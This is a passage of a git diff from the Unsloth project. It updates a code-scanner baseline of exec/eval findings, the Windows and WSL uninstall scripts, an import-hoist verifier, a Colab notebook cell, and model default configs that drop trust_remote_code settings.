(marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L268: code = compile(src, fake_path, \"exec\")\nExec: L269: exec(code, namespace)" + "evidence": "Obfusc: L268: code = compile(src, fake_path, \"exec\")\nExec: L269: exec(code, namespace)", + "evidence_hash": "0bd08f4d68c9f3bf3dd91d3351a4c7a6c44c2f494c70776750e821fbbbad4faa" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_mlx_trainer_internals.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1158: assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L1136: def eval(self):", + "evidence_hash": "c409327ef6420cc0c7224506fcb82b11bbc9838a6f2f97c9c2cfc00a40c4cdbf" }, { "package": "unsloth-zoo", "file": "tests/test_upstream_pinned_symbols_trl_vllm.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L379: mod = __import__(modpath, fromlist=[\"Logprob\"])\nExec: L238: \"unsloth_zoo dispatch via `eval(f'trl.trainer.{trainer_file}.{name}')` breaks\"" + "evidence": "Obfusc: L379: mod = __import__(modpath, fromlist=[\"Logprob\"])\nExec: L238: \"unsloth_zoo dispatch via `eval(f'trl.trainer.{trainer_file}.{name}')` breaks\"", + "evidence_hash": "ffcaf5f1fd295f3d6e9b59d792392e22e3e4a1eb8c494edd82f815d90323ae55" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L1013: _mod = __import__(model_location, fromlist=items) | L4291: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\ | L4292: f\"O^O/ {chr(92)}_/ {c" + "evidence": "Obfusc: L1013: _mod = __import__(model_location, fromlist=items) | L4295: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4296: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4298: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4296: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4298: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4295: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4296: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L612: if eval(_dtype) is not None: | L613: dtype = eval(_dtype) | L955: _modeling_file = eval(model_location) | L1255: f = eval(f\"{model_location}.{module}\") | L1563: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1564: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L2699: exec(f\"import {parent}\", locals(), globals()) | L2830: dir(eval(parent)), | L2834: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L2908: module = eval(f\"modeling_file.{module}\") | L2935: inner_class = eval(f\"modeling_file.{inner_class}\") | L3065: exec(f\"from timm.layers.norm_act import {norm}\") | L3073: forward = eval(norm).forward | L3079: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3096: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3104: forward = eval(block).forward | L3110: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L3389: exec(f\"import {model_location}\", globals()) | L3392: modeling_file = eval(model_location) | L3405: exec(\nL3406: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL3407: ) | L3409: exec(\nL3410: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL3411: globals(),\nL3412: locals(),\nL3413: ) | L3564: source = eval(f\"modeling_file.{module}\") | L3578: source = eval(f\"modeling_file.{module}\") | L3679: source = eval(f\"modeling_file.{module}\") | L3717: source = eval(f\"{model_location}.{module}\") | L3788: source = eval(f\"{model_location}.{module}\") | L3836: source = eval(f\"{model_location}.{module}\") | L4058: source = eval(f\"{model_location}.{module}\") | L4069: exec(\nL4070: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL4071: globals(),\nL4072: ) | L4135: source = eval(f\"{model_location}.{module}\") | L4176: module_cls = eval(f\"{model_location}.{module}\") | L4213: module_cls = eval(f\"{model_location}.{module}\") | L4280: exec(\nL4281: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL4282: globals(),\nL4283: ) | L4345: exec(inner_training_loop, globals()) | L4353: function = eval(f\"{model_location}.{module}\") | L4431: function = eval(f\"{model_location}.{module}\") | L4566: source = eval(f\"{model_location}.torch\") | L4573: function = eval(f\"source.nn.{module}\") | L4632: exec(\nL4633: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4634: globals(),\nL4635: locals(),\nL4636: ) | L4638: exec(\nL4639: f\"{model_location}.nn.{module}.forward = forward\",\nL4640: globals(),\nL4641: locals(),\nL4642: ) | L4646: exec(\nL4647: f\"combined_module.torch.nn.{module}.forward = forward\",\nL4648: globals(),\nL4649: locals(),\nL4650: ) | L4652: exec(\nL4653: f\"combined_module.nn.{module}.forward = forward\",\nL4654: globals(),\nL4655: locals(),\nL4656: ) | L4673: exec(\nL4674: f\"{model_location}.{module} = combined_module.{module}\",\nL4675: globals(),\nL4676: locals(),\nL4677: ) | L4687: check_dicts = dir(eval(f\"{model_location}\")) | L4689: item = eval(f\"{model_location}.{check}\") | L4699: exec(\nL4700: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL4701: globals(),\nL4702: locals(),\nL4703: )", + "evidence_hash": "ec1875fd32d00fe885e566ebda75163e46e838ca31020abb57e0991892c2bdf7" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/fused_losses/forward_install.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L274: code = compile(new_src, synthetic_path, \"exec\")\nExec: L275: exec(code, ns)" + "evidence": "Obfusc: L274: code = compile(new_src, synthetic_path, \"exec\")\nExec: L275: exec(code, ns)", + "evidence_hash": "33b0c2ba90758a5ed84578c1d03364cb307f393e9fbb1da370ae06991e0dc7c4" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L1739: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L141: mx.eval(model.parameters()) | L1543: model.eval() | L2126: mx.eval(model.parameters())" + "evidence": "Obfusc: L2869: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L148: mx.eval(model.parameters()) | L180: mx.eval(model.parameters()) | L732: mx.eval(model.parameters()) | L733: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L799: mx.eval(model.parameters()) | L802: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2673: model.eval() | L3256: mx.eval(model.parameters()) | L3372: mx.eval(module.weight) | L5666: mx.eval(model.parameters()) | L5716: mx.eval(model.parameters()) | L5859: mx.eval(model.parameters())", + "evidence_hash": "7b44760032c5df6d379ccfdd0bff3d23f857f64e08210fa0fba8d2881d457634" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/patching_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L706: compile(new_source, '', 'exec')\nExec: L221: try: exec(_try_compile_argument) | L226: try: exec(_try_dynamo_argument) | L570: exec(\"from torch._dynamo.compiled_autograd import (\" + \", \".join(x for x in good_" + "evidence": "Obfusc: L706: compile(new_source, '', 'exec')\nExec: L221: try: exec(_try_compile_argument) | L226: try: exec(_try_dynamo_argument) | L570: exec(\"from torch._dynamo.compiled_autograd import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L571: exec(source, globals()) | L596: exec(\"from torch._dynamo.variables.misc import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L597: exec(source, globals()) | L686: exec(f\"from transformers.integrations.bitsandbytes import ({x})\", globals()) | L749: exec(source, globals())", + "evidence_hash": "f4c3d4a58360b4572b174f74d5250b661bb6b9ac942a07cca49cd42c23baf4c2" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/saving_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L3078: module = __import__('transformers', fromlist=[model_class_name])\nExec: L2960: exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3006: exec(save_pretrained, globals(), functions)" + "evidence": "Obfusc: L4015: module = __import__('transformers', fromlist=[model_class_name])\nExec: L3897: exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3943: exec(save_pretrained, globals(), functions)", + "evidence_hash": "530b2383acd9fe8330aa65cd0bf86164aaacd47770e7c8d0752195bee36396ec" }, { "package": "werkzeug", "file": "werkzeug/routing/rules.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L836: code = compile(module, \"\", \"exec\")\nExec: L736: exec(code, globs, locs)" + "evidence": "Obfusc: L836: code = compile(module, \"\", \"exec\")\nExec: L736: exec(code, globs, locs)", + "evidence_hash": "5c0992c90f05c772abd94d00784f157de337e1f8567f8b3aee1b15e46c96cd5d" } ] } diff --git a/scripts/uninstall.ps1 b/scripts/uninstall.ps1 index 34e60fbc93..6aef26d437 100644 --- a/scripts/uninstall.ps1 +++ b/scripts/uninstall.ps1 @@ -22,15 +22,64 @@ function Uninstall-UnslothStudio { param([string]$Path) if ([string]::IsNullOrWhiteSpace($Path)) { return } if (-not (Test-Path -LiteralPath $Path)) { return } - for ($attempt = 1; $attempt -le 3; $attempt++) { + for ($attempt = 1; $attempt -le 4; $attempt++) { try { Remove-Item -LiteralPath $Path -Recurse -Force -ErrorAction Stop + } catch { + if ($attempt -lt 4) { Start-Sleep -Milliseconds 700; continue } + _Substep "could not remove: $Path ($($_.Exception.Message))" "Yellow" + return + } + # Remove-Item -Recurse can report success yet leave a transiently-locked + # child (e.g. unsloth.ico in Explorer's icon cache); verify + retry so we + # never falsely claim "removed" or orphan the dir. + if (-not (Test-Path -LiteralPath $Path)) { _Substep "removed: $Path" "Green" return - } catch { - if ($attempt -lt 3) { Start-Sleep -Milliseconds 700; continue } - _Substep "could not remove: $Path ($($_.Exception.Message))" "Yellow" } + if ($attempt -lt 4) { Start-Sleep -Milliseconds 700; continue } + _Substep "still present (files held open): $Path" "Yellow" + } + } + + # Remove the shared data dir, but keep unsloth.ico if a WSL shortcut still points + # at it (else that shortcut blanks); uninstall.sh drops it when WSL is removed. + function _RemoveDataDirKeepingWslIcon { + param( + [string]$DataDir, + # WSL-shortcut search dirs; default Start Menu + Desktop, overridable for tests. + [string[]]$ShortcutDirs = $null + ) + if ([string]::IsNullOrWhiteSpace($DataDir)) { return } + if (-not (Test-Path -LiteralPath $DataDir)) { return } + # $null = not passed (use defaults); test $null not truthiness so an explicit + # @() is honored (-not @() is $true). + if ($null -eq $ShortcutDirs) { + # Guard $env:APPDATA: it can be unset in service/CI Windows contexts, where + # an unguarded Join-Path emits a noisy parameter-binding error. + $ShortcutDirs = @() + if (-not [string]::IsNullOrWhiteSpace($env:APPDATA)) { + $ShortcutDirs += Join-Path $env:APPDATA "Microsoft\Windows\Start Menu\Programs" + } + try { + $desktop = [Environment]::GetFolderPath("Desktop") + if (-not [string]::IsNullOrWhiteSpace($desktop)) { $ShortcutDirs += $desktop } + } catch {} + } + $wslShortcuts = @() + foreach ($d in $ShortcutDirs) { + if ($d -and (Test-Path -LiteralPath $d)) { + $wslShortcuts += Get-ChildItem -LiteralPath $d -Filter "Unsloth Studio (WSL*.lnk" -ErrorAction SilentlyContinue + } + } + if (@($wslShortcuts).Count -eq 0) { + _RemovePath $DataDir + return + } + # A WSL shortcut survives: drop everything except its shared icon. + _Substep "keeping $(Join-Path $DataDir 'unsloth.ico') for the WSL shortcut" "Gray" + Get-ChildItem -LiteralPath $DataDir -Force -ErrorAction SilentlyContinue | ForEach-Object { + if ($_.Name -ne "unsloth.ico") { _RemovePath $_.FullName } } } @@ -287,6 +336,9 @@ function Uninstall-UnslothStudio { $defaultUnslothHome = if ($env:USERPROFILE) { Join-Path $env:USERPROFILE ".unsloth" } else { $null } $defaultLlamaCpp = if ($defaultUnslothHome) { Join-Path $defaultUnslothHome "llama.cpp" } else { $null } $defaultCache = if ($defaultUnslothHome) { Join-Path $defaultUnslothHome ".cache" } else { $null } + # Isolated Node.js runtime (install_node_prebuilt.py), a sibling of studio in + # default mode. No-op in env/custom mode (nested under the custom root) and absent. + $defaultNode = if ($defaultUnslothHome) { Join-Path $defaultUnslothHome "node" } else { $null } # llama.cpp atomic-install staging root (install_llama_prebuilt.py .staging, # sibling of the install dir). Usually pruned after activate, but an interrupted # build can leave a ".staging-XXXX" tree; removing it lets the empty-dir @@ -310,7 +362,7 @@ function Uninstall-UnslothStudio { _StopStudioProcesses -KnownRoots $knownRoots # Also stop anything holding a handle on the exact paths we delete (llama-server, # the CLI shim, an mp-fork python with a venv DLL) so the dir delete isn't refused. - _StopProcessesLockingRoots -Roots (@($knownRoots) + @($defaultDataDir, $defaultLlamaCpp, $defaultCache)) + _StopProcessesLockingRoots -Roots (@($knownRoots) + @($defaultDataDir, $defaultLlamaCpp, $defaultCache, $defaultNode)) # ── Remove custom-root install trees ── _Step "Removing data and install directories..." @@ -328,12 +380,18 @@ function Uninstall-UnslothStudio { # Default install dir (always at %USERPROFILE%\.unsloth\studio when present). if ($defaultStudioHome) { _RemovePath $defaultStudioHome } # Default data dir. - if ($defaultDataDir) { _RemovePath $defaultDataDir } + if ($defaultDataDir) { _RemoveDataDirKeepingWslIcon $defaultDataDir } # Default-mode shared llama.cpp build + cache (siblings of studio under # ~/.unsloth). No-op in env/custom mode and when absent. if ($defaultLlamaCpp) { _RemovePath $defaultLlamaCpp } if ($defaultCache) { _RemovePath $defaultCache } + # Isolated Node.js runtime (sibling of studio under ~/.unsloth). No-op in env/ + # custom mode (nested under the custom root, removed with it) and when absent. + if ($defaultNode) { _RemovePath $defaultNode } if ($defaultStaging) { _RemovePath $defaultStaging } + # llama.cpp install lock (serializes the shared build); a stray lock keeps + # ~/.unsloth from being pruned below. No-op in env/custom mode and when absent. + if ($defaultUnslothHome) { _RemovePath (Join-Path $defaultUnslothHome ".llama.cpp.install.lock") } # Drop ~/.unsloth itself, but ONLY if now empty -- never nuke unrelated content. if ($defaultUnslothHome -and (Test-Path -LiteralPath $defaultUnslothHome) -and -not (Get-ChildItem -LiteralPath $defaultUnslothHome -Force -ErrorAction SilentlyContinue)) { @@ -366,6 +424,11 @@ function Uninstall-UnslothStudio { } } catch { } + # Re-sweep: the first pass may have left unsloth.ico locked by Explorer/SMEH for + # the native shortcut; that handle is now freed. (A surviving WSL shortcut still + # keeps the icon -- see the helper.) + if ($defaultDataDir -and (Test-Path -LiteralPath $defaultDataDir)) { _RemoveDataDirKeepingWslIcon $defaultDataDir } + # ── Clean user PATH and registry backup ── _Step "Cleaning user PATH and registry..." try { diff --git a/scripts/uninstall.sh b/scripts/uninstall.sh index e6ca561743..b67c013870 100755 --- a/scripts/uninstall.sh +++ b/scripts/uninstall.sh @@ -219,10 +219,16 @@ _remove_path "$HOME/.unsloth/llama.cpp" # provision_llama_cuda.sh fetched by the WoA/Spark CUDA-build path. No-op when absent. _remove_path "$HOME/.unsloth/provision_llama_cuda.sh" _remove_path "$HOME/.unsloth/.cache" +# Isolated Node.js runtime (install_node_prebuilt.py), a sibling of studio in +# default mode. No-op in env/custom mode (nested under the custom root) and absent. +_remove_path "$HOME/.unsloth/node" # llama.cpp atomic-install staging root (install_llama_prebuilt.py .staging). # Normally pruned after activate, but an interrupted build can leave it behind; # removing it lets the rmdir below succeed. No-op in env/custom mode and absent. _remove_path "$HOME/.unsloth/.staging" +# llama.cpp install lock (serializes the shared build); a stray one keeps ~/.unsloth +# from being pruned below. No-op in env/custom mode and when absent. +_remove_path "$HOME/.unsloth/.llama.cpp.install.lock" # ROCm-on-WSL helper artifacts (librocdxg build clone + smoke-test venv). No-op # where they don't exist; removing them lets the rmdir below succeed. _remove_path "$HOME/.unsloth/librocdxg" @@ -315,11 +321,50 @@ case "$_os" in $up = [Environment]::GetEnvironmentVariable("Path","User"); if ($up) { [Environment]::SetEnvironmentVariable("Path", (($up -split ";" | Where-Object { $_ -and ($_.TrimEnd("\","/") -ine $shim) }) -join ";"), "User") } if (Test-Path -LiteralPath $ud) { Remove-Item -LiteralPath $ud -Recurse -Force -ErrorAction SilentlyContinue } + } + # Keep the shared icon while any Unsloth shortcut still uses it (native + # install or another WSL distro); drop it only with the last one. + $iconInUse = $false; + foreach ($d in $dirs) { + if (-not $d -or -not (Test-Path -LiteralPath $d)) { continue } + if (Get-ChildItem -LiteralPath $d -Filter "Unsloth Studio*.lnk" -ErrorAction SilentlyContinue) { $iconInUse = $true; break } + } + # Guard LOCALAPPDATA: empty on a service/SYSTEM account makes + # Join-Path throw, aborting the icon cleanup (mirror uninstall.ps1). + if (-not [string]::IsNullOrWhiteSpace($env:LOCALAPPDATA)) { + $iconDir = Join-Path $env:LOCALAPPDATA "Unsloth Studio"; + $ico = Join-Path $iconDir "unsloth.ico"; + if ((-not $iconInUse) -and (Test-Path -LiteralPath $ico)) { Remove-Item -LiteralPath $ico -Force -ErrorAction SilentlyContinue } + if ((Test-Path -LiteralPath $iconDir) -and -not (Get-ChildItem -LiteralPath $iconDir -Force -ErrorAction SilentlyContinue)) { Remove-Item -LiteralPath $iconDir -Recurse -Force -ErrorAction SilentlyContinue } }' >/dev/null 2>&1 || true fi - # Fallback when powershell.exe can't run (interop disabled): remove the - # WSL .lnk files via drvfs. The "Unsloth Studio (WSL..." name is - # WSL-specific, so a native install's "Unsloth Studio.lnk" never matches. + # Remove $1's shared unsloth.ico only if no Unsloth shortcut (native install + # or another WSL distro) still uses it, then drop the dir if empty. Reciprocal + # of uninstall.ps1's _RemoveDataDirKeepingWslIcon (keeps the icon for a + # surviving WSL shortcut when the native side is removed). + _drop_shared_icon_if_unused() { + _du="$1" + _icodir="$_du/AppData/Local/Unsloth Studio" + _icon_in_use=0 + for _sd in \ + "$_du/Desktop" \ + "$_du/OneDrive/Desktop" \ + "$_du"/OneDrive*/Desktop \ + "$_du/AppData/Roaming/Microsoft/Windows/Start Menu/Programs"; do + [ -d "$_sd" ] || continue + for _any in "$_sd"/"Unsloth Studio"*.lnk; do + [ -e "$_any" ] && { _icon_in_use=1; break; } + done + [ "$_icon_in_use" = "1" ] && break + done + if [ "$_icon_in_use" = "0" ]; then + [ -f "$_icodir/unsloth.ico" ] && rm -f "$_icodir/unsloth.ico" 2>/dev/null || true + fi + [ -d "$_icodir" ] && rmdir "$_icodir" 2>/dev/null || true + } + # Fallback when powershell.exe can't run (interop disabled): remove WSL .lnk + # files via drvfs. The "Unsloth Studio (WSL..." name is WSL-specific, so a + # native install's "Unsloth Studio.lnk" never matches. if [ "$_ps_ran" = "0" ]; then for _drive in /mnt/c /mnt/d /mnt/e; do [ -d "$_drive/Users" ] || continue @@ -342,6 +387,8 @@ case "$_os" in done fi done + # Drop the shared icon only when no shortcut still needs it. + _drop_shared_icon_if_unused "$_udir" done done fi diff --git a/scripts/verify_import_hoist.py b/scripts/verify_import_hoist.py index b8cb0573fe..22a21a2ebc 100644 --- a/scripts/verify_import_hoist.py +++ b/scripts/verify_import_hoist.py @@ -564,6 +564,12 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]] for n, tids in b["module_import_targets"].items(): if tids & after_used: continue # resolved -> fine + # `from __future__ import ...` is a compiler directive, not a runtime + # binding: the name (`annotations`, ...) is never loaded, so it can never + # "resolve" to a use. Skip it so a legitimately-added future import + # (e.g. `annotations` for lazy PEP 604 `X | None` on py3.9) is not flagged. + if all(t.startswith("from:__future__:") for t in tids): + continue newly_added = bool(tids - before_module_targets) was_used_before = bool(tids & before_used) if newly_added or was_used_before: @@ -581,9 +587,30 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]] ) # 3. TARGET-CHANGED (same scope+name resolves to a different import target) + # Only a *swap* is dangerous: a BEFORE target that is no longer reachable in + # AFTER means a reference was silently re-pointed. A pure superset growth + # (tbefore <= tafter) is the benign `import pkg.subA` + `import pkg.subB` + # case: both statements bind the same top-level name `pkg` to the same + # package object and only *add* submodule attributes (e.g. adding + # `import urllib.error` next to `import urllib.request`). Nothing the name + # resolved to before is lost, so no reference is re-pointed -- skip it. + # + # A deliberate *relocation* is also benign and must not block: when a name + # keeps its spelling but its import source is moved A -> B in THIS diff (the + # old `from A import x` is removed at module level and a new `from B import x` + # is added), the swap is intentional, not a silent re-point to a pre-existing + # different object. This mirrors the relocation tolerance already applied to + # TARGET-MISSING. The dangerous case -- the name now resolving to a target + # that already existed before (shadow/clash) -- is NOT exempted. + removed_module_targets = before_module_targets - after_module_targets for key, tafter in b["target_by_use"].items(): tbefore = a["target_by_use"].get(key) - if tbefore and tbefore != tafter: + if tbefore and tbefore != tafter and (tbefore - tafter): + lost = tbefore - tafter + gained = tafter - tbefore + relocated = lost <= removed_module_targets and gained <= added_module_targets + if relocated: + continue findings.append( ( "BLOCKER", diff --git a/studio/Unsloth_Studio_Colab.ipynb b/studio/Unsloth_Studio_Colab.ipynb index 00eecfe51d..619395bd6d 100644 --- a/studio/Unsloth_Studio_Colab.ipynb +++ b/studio/Unsloth_Studio_Colab.ipynb @@ -84,7 +84,7 @@ "id": "277e431e" }, "outputs": [], - "source": "import sys\nsys.path.insert(0, \"/content/unsloth/studio/backend\")\nfrom colab import start\nstart()" + "source": "import sys\nsys.path.insert(0, \"/content/unsloth/studio/backend\")\nfrom colab import start\n\n# Default: in-tab iframe only. start() blocks to keep the kernel alive.\nstart()\n\n# For a shareable Cloudflare link, replace start() above with:\n# start(cloudflare=True)" }, { "cell_type": "markdown", diff --git a/studio/backend/assets/configs/inference_defaults.json b/studio/backend/assets/configs/inference_defaults.json index 1c7a409bc1..0633f80bbc 100644 --- a/studio/backend/assets/configs/inference_defaults.json +++ b/studio/backend/assets/configs/inference_defaults.json @@ -235,6 +235,13 @@ "min_p": 0.1, "repetition_penalty": 1.0 }, + "deepseek-v4": { + "temperature": 1.0, + "top_p": 1.0, + "top_k": -1, + "min_p": 0.0, + "repetition_penalty": 1.0 + }, "deepseek-r1": { "temperature": 0.6, "top_p": 0.95, @@ -394,7 +401,7 @@ "phi-4", "phi-3", "mistral-nemo", "mistral-small", "mistral-large", "magistral", "ministral", "devstral", "pixtral", - "deepseek-r1", "deepseek-v3", "deepseek-ocr", + "deepseek-v4", "deepseek-r1", "deepseek-v3", "deepseek-ocr", "glm-5", "glm-4", "nemotron", "minimax-m2.7", "minimax-m2.5", "minimax", diff --git a/studio/backend/assets/configs/model_defaults/default.yaml b/studio/backend/assets/configs/model_defaults/default.yaml index 12566019b8..841e8ba166 100644 --- a/studio/backend/assets/configs/model_defaults/default.yaml +++ b/studio/backend/assets/configs/model_defaults/default.yaml @@ -2,7 +2,6 @@ # Used for models without specific configurations training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -48,7 +47,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.7 top_p: 0.95 top_k: -1 diff --git a/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-21B-A3B-PT.yaml b/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-21B-A3B-PT.yaml index 52511c6eaf..734115ec41 100644 --- a/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-21B-A3B-PT.yaml +++ b/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-21B-A3B-PT.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/ERNIE-4.5-21B-A3B-PT training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -42,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-VL-28B-A3B-PT.yaml b/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-VL-28B-A3B-PT.yaml index 524a723dc2..1032449e8c 100644 --- a/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-VL-28B-A3B-PT.yaml +++ b/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-VL-28B-A3B-PT.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: true max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -49,7 +48,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: true temperature: 1.5 min_p: 0.1 diff --git a/studio/backend/assets/configs/model_defaults/falcon/tiiuae_Falcon-H1-0.5B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/falcon/tiiuae_Falcon-H1-0.5B-Instruct.yaml index fa7bd8c1ea..c8e5f35841 100644 --- a/studio/backend/assets/configs/model_defaults/falcon/tiiuae_Falcon-H1-0.5B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/falcon/tiiuae_Falcon-H1-0.5B-Instruct.yaml @@ -3,7 +3,6 @@ # Also applies to: tiiuae/Falcon-H1-0.5B-Instruct, unsloth/Falcon-H1-0.5B-Instruct training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -42,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_codegemma-7b-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_codegemma-7b-bnb-4bit.yaml index 62836dc0cd..251409c29d 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_codegemma-7b-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_codegemma-7b-bnb-4bit.yaml @@ -4,7 +4,6 @@ # added inference parameters from Ollama training: - trust_remote_code: false max_seq_length: 4096 # num_epochs: 4 num_epochs: 0 @@ -45,6 +44,5 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0 top_p: 0.9 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_functiongemma-270m-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_functiongemma-270m-it.yaml index f97a842d2a..89b1d7f938 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_functiongemma-270m-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_functiongemma-270m-it.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 4096 # num_epochs: 4 num_epochs: 0 @@ -45,7 +44,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_k: 64 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-27b-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-27b-bnb-4bit.yaml index 56f10cdc4f..e3292b5972 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-27b-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-27b-bnb-4bit.yaml @@ -2,7 +2,6 @@ # Based on Gemma2_(9B)-Alpaca.ipynb (same defaults for larger models) training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -41,6 +40,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-2b.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-2b.yaml index 